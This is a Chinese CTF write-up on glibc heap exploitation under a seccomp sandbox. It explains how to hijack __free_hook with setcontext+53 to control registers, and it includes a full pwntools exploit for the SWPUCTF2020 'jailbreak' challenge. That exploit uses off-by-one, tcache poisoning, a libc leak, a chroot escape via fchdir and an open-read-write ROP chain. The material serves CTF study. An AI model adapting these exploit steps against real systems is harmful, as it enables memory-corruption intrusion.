跳转至

沙盒堆溢出学习

在复现 SWPUCTF2020 jailbreak 遇到打开沙盒堆溢出题目,这条题目实际上还有 chroot 逃逸,这个先放后面。沙盒堆溢出利用方法关键是 setcontext() ,以这个点搜寻其他同类题目。年前的高校战役 lgd ,七月份 DASCTF bigbear 。

setcontext

// stdlib/setcontext.c
#include <errno.h>
#include <ucontext.h>

int setcontext(const ucontext_t *ucp){
  ……
};

其作用是用户上下文的设置,所以我们在可以小范围控制执行流,已知 libc_base 但不足以完成我们的目标时,可以先跳 setcontext+53 来扩大控制范围。简单来说就是**通过 setcontext 控制寄存器的值**。

setcontext+53 避免 crash

libc 2.27 下完整 setcontext 如下:

<setcontext>:     push   rdi
<setcontext+1>:   lea    rsi,[rdi+0x128]
<setcontext+8>:   xor    edx,edx
<setcontext+10>:  mov    edi,0x2
<setcontext+15>:  mov    r10d,0x8
<setcontext+21>:  mov    eax,0xe
<setcontext+26>:  syscall 
<setcontext+28>:  pop    rdi
<setcontext+29>:  cmp    rax,0xfffffffffffff001
<setcontext+35>:  jae    0x7ffff7a7d520 <setcontext+128>
<setcontext+37>:  mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:  fldenv [rcx]
<setcontext+46>:  ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:  push   rcx
<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor    eax,eax
<setcontext+127>: ret    
<setcontext+128>: mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78
<setcontext+135>: neg    eax
<setcontext+137>: mov    DWORD PTR fs:[rcx],eax
<setcontext+140>: or     rax,0xffffffffffffffff
<setcontext+144>: ret

fldenv [rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令,跳转到 setcontext+53 。

部署堆栈空间控制对应寄存器

沙盒堆溢出题目利用是将 __free_hook 劫持为 setcontext+53 ,当 free 堆块时堆地址作为参数放在 rdi 传入函数中,进入到 setcontext 就会以**堆地址**作为基址,将不同偏移地址上的数据放入寄存器。所以我们需要控制**堆地址**后面空间上的内容。

注意:这里提前布置的数据并不是 srop 中的 frame!!!在其他题目的 wp 中使用 SigreturnFrame() 是方便生成而已,并不是说明填进去的是 frame。比如:

frame.rdi=0x123456 最后 0x123456 是赋值到 rsi <- mov rsi,QWORD PTR [rdi+0x70]

frame.rdi 的 0x123456 被传入 rsi

构造 rsp 时需要注意 push rcx 的影响,如果 rsp 地址不可访问,程序就会 crash 。

libc 2.29 之后变化

libc 2.27 下 setcontext:

<setcontext+53>:      mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:      mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:      mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:      mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:      mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:      mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:      mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:      mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:      push   rcx
<setcontext+95>:      mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:      mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>:     mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>:     mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>:     mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>:     mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>:     xor    eax,eax
<setcontext+127>:     ret
<setcontext+128>:     mov    rcx,QWORD PTR [rip+0x398c61]
<setcontext+135>:     neg    eax
<setcontext+137>:     mov    DWORD PTR fs:[rcx],eax
<setcontext+140>:     or     rax,0xffffffffffffffff
<setcontext+144>:     ret

libc 2.30 下 setcontext:

<setcontext+52>:      fldenv [rcx]
<setcontext+54>:      ldmxcsr DWORD PTR [rdx+0x1c0]
<setcontext+61>:      mov    rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>:      mov    rbx,QWORD PTR [rdx+0x80]
<setcontext+75>:      mov    rbp,QWORD PTR [rdx+0x78]
<setcontext+79>:      mov    r12,QWORD PTR [rdx+0x48]
<setcontext+83>:      mov    r13,QWORD PTR [rdx+0x50]
<setcontext+87>:      mov    r14,QWORD PTR [rdx+0x58]
<setcontext+91>:      mov    r15,QWORD PTR [rdx+0x60]
<setcontext+95>:      test   DWORD PTR fs:0x48,0x2
<setcontext+107>:     je     0x7f4ea94d71c6 <setcontext+294>
<setcontext+113>:     mov    rsi,QWORD PTR [rdx+0x3a8]
<setcontext+120>:     mov    rdi,rsi
<setcontext+123>:     mov    rcx,QWORD PTR [rdx+0x3b0]
<setcontext+130>:     cmp    rcx,QWORD PTR fs:0x78
<setcontext+139>:     je     0x7f4ea94d7165 <setcontext+197>
<setcontext+141>:     mov    rax,QWORD PTR [rsi-0x8]
<setcontext+145>:     and    rax,0xfffffffffffffff8
<setcontext+149>:     cmp    rax,rsi
<setcontext+152>:     je     0x7f4ea94d7140 <setcontext+160>

原来是以 rdi 作为基地址,在 libc 2.29 之后以 rdx 作为基地址。

SWPUCTF2020 jailbreak

基本情况

[*] '/ctf/work/jailbreak'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序限制操作次数,以及(正常情况下)允许分配的堆 size 总数,这个数存放在堆上:

image-20201226011019096

程序初始化时调用 chroot 改变根目录:

image-20201226005504441

漏洞

自定义输入函数存在 off by one :

image-20201226005326707

思路

libc 地址怎么都是要知道的,题目限制申请总 size ,先用 tcache 泄露堆地址。offbyone 创造出 tcachebin 重叠空间,修改在 tcachebin 中的堆得 fd 指针,指向到 size 所在空间,调大 size 。

重复上面构成堆重叠步骤在 tcache struct 上申请一个堆控制索引数量,将 0x90 索引数量调成 8 。溢出修改 size 位伪造出一个 0x90 的堆释放进入 unsortedbin 泄露地址。

重复上面构造堆重叠步骤修改 tcachebin fd 指针指向 free_hook ,将 tcache bin 其中一个开头地址修改为 __free hook 用于修改其值位 setcontent+53 。同时部署 setcontext 的上下文。利用 setcontext 构建出一个 read 写入,写入 ROP 链:

执行chdir(fd)来实现chroot逃逸
ORW 读取 flag

EXP

本地复现时在 18.04 系统里面跑,没有 chroot 等等限制。。。将 __free_hook 改 onegadget 就 getshell 了。后面放到 docker 各种限制就又出现了。。。

官方WP:https://wllm1013.github.io/2020/12/09/SWPUCTF2020-%E5%AE%98%E6%96%B9WP/#jailbreak

# -*- coding: utf-8 -*-
import sys
import os
from time import *
from pwn import *

context(log_level='debug', terminal=['tmux', 'sp', '-h'], arch='amd64')

sh = process("./jailbreak")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./jailbreak")


def s(data): return sh.send(str(data))


def sa(delim, data): return sh.sendafter(str(delim), str(data))
def sl(data): return sh.sendline(str(data))


def sla(delim, data): return sh.sendlineafter(str(delim), str(data))
def r(numb=4096): return sh.recv(numb)
def ru(delims, drop=True): return sh.recvuntil(delims, drop)
def irt(): return sh.interactive()
def uu32(data): return u32(data.ljust(4, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))


def ru7f(): return u64(sh.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
def ruf7(): return u32(sh.recvuntil("\xf7")[-4:].ljust(4, b'\x00'))
def lg(data): return log.success(data)


def add(name_size, description_size):
    sla("Action:", "B")
    sla("Item name size:", str(name_size))
    sla("Item description size:", str(description_size))


def edit(idx, name, description):
    sla("Action:", "M")
    sla("idx:", str(idx))
    if name != "":
        sla("Modify name?[y/N]", "y")
        sa("new name:", str(name))
    else:
        sla("Modify name?[y/N]", "n")
    if description != "":
        sla("Modify description?[y/N]", "y")
        sa("new description:", str(description))
    else:
        sla("Modify description?[y/N]", "n")


def free(idx):
    sla("Action:", "S")
    sla("idx:", str(idx))


def show():
    sla("Action:", "W")


def backdoor():
    sla("Action:", "\xFF")
    sla("Action[y/N]", 'y')

# leak heap_base
add(0x18, 0x18)
add(0x18, 0x18)
free(0)
add(0x18, 0x18)
show()
ru("Item name: ")
heap_base = uu64(r(6)) - 0x280
log.info("heap_base:"+hex(heap_base))

# hijack money
edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 + p8(0x41))
free(0)
add(0x18, 0x29)  # 0x20;0x40
free(1)
edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 +
     p64(0x21) + p64(heap_base + 0x250 + 0x10) + "\n")
free(0)  # balance tcache number
add(0x18, 0x18)  # 0x20;0x20
add(0x18, 0x18)  # 0x20;0x20
edit(1, '\x15' * 0x18 + "\n", p64(0xcafecafe) + "\n")

# get fd
backdoor()
ru("secret:")
dir_fd = int(ru("\n").strip(), 10)
log.info("dri_fd:"+hex(dir_fd))

# hijack tache struct
add(0x28, 0x28)
add(0x28, 0x28)  # 3
edit(2, '\x16' * 0x28 + p8(0x51), "\n")
free(2)
add(0x28, 0x48)  # 0x30;0x50
free(3)
edit(2, '\x16' * 0x28 + "\n", 'a' * 0x28 +
     p64(0x31) + p64(heap_base + 0x10) + "\n")
add(0x28, 0x28)
add(0x28, 0x38)  # tcache struct;0x40 tbin
# set 0x90->8
edit(4, p64(0x0800000000000000) + "\n", p64(0xdeadbeef) + "\n")


# leak libc_base
add(0x38, 0x38)
add(0x38, 0x38)
edit(5, '\x15' * 0x38 + p8(0x91), '\x16' * 0x18 + '\n')
# bypass double free(!prev_inuse)
edit(6, '\n', p64(0) + p64(0x31) + "\n")
free(5)
add(0x38, 0x38)  # 5
show()
ru("Item idx: 5")
ru("description: ")
main_arena = uu64(r(6)) - 224
libc = main_arena - 0x10 - lib.symbols[b'__malloc_hook']
log.info("libc_base:"+hex(libc))

lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
log.info("free_hook:"+hex(__free_hook))
__malloc_hook = lib.symbols[b'__malloc_hook']

pop_rdi_ret = libc + 0x00000000000215bf#0x000000000002155f
pop_rsi_ret = libc + 0x0000000000023eea#0x0000000000023e8a
pop_rdx_ret = libc + 0x0000000000001b96#0x0000000000001b96
pop_rdx_rsi_ret = libc + 0x0000000000130569#0x0000000000130889
ret = libc + 0x00000000000008aa


add(0x38, 0x38)  # 7
free(6)  # ???
# 0x60 : tcache 0x40

edit(7,p64(heap_base + 0x60) + "\n","flag.txt\x00".ljust(0x20,'a') + p64(0x3c0 + heap_base) + p64(ret) + "\n")
# heap_base+0x60 :tcache struct 0x40 chunk head
# setcontext data
# rsp:heap_base+0x3c0:chunk5
# rip:ret


add(0x38, 0x48)  # 6
add(0x38, 0x48)  # 8
edit(8, p64(0xdeadbeef) + "\n", p64(lib.sym['__free_hook']) + "\n")
# fix tcache 0x40
edit(4, p64(0x0800000000010000) + "\n", p64(0xdeadbeef) + "\n")

# overwrite free_hook
log.info("setcontext:"+hex(lib.sym['setcontext']))
add(0x38, 0x48)  # 9
edit(9, p64(lib.sym['setcontext'] + 53) + "\n", '\n')

# creat read
edit(5, p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(0x1000) +
     p64(heap_base + 0x3b0) + p64(lib.sym['read'])+"\n", '\n')

#gdb.attach(sh)
free(7)
payload = 'a' * (0x40-2)
payload += p64(pop_rdi_ret) + p64(dir_fd)
payload += p64(lib.sym['fchdir'])
payload += p64(pop_rdi_ret) + p64(heap_base+0x4c0)
payload += p64(pop_rsi_ret) + p64(0x0)
payload += p64(lib.sym['open'])
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x440)
payload += p64(lib.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x400)
payload += p64(lib.sym['write'])
# payload += p64(pop_rdi_ret) + p64(binsh)
# payload += p64(ret)
# payload += p64(system)
sl(payload)
sleep(2)
# sl("echo deadbeef && cd ../ && cat flag.txt")
# ru("deadbeef")
print sh.recv()
irt()

参考文章

setcontext 函数exploit

DASCTF 7月部分pwn

chroot jail break in CTF from 0 to -1

高校战“疫”网络安全分享赛pwn部分wp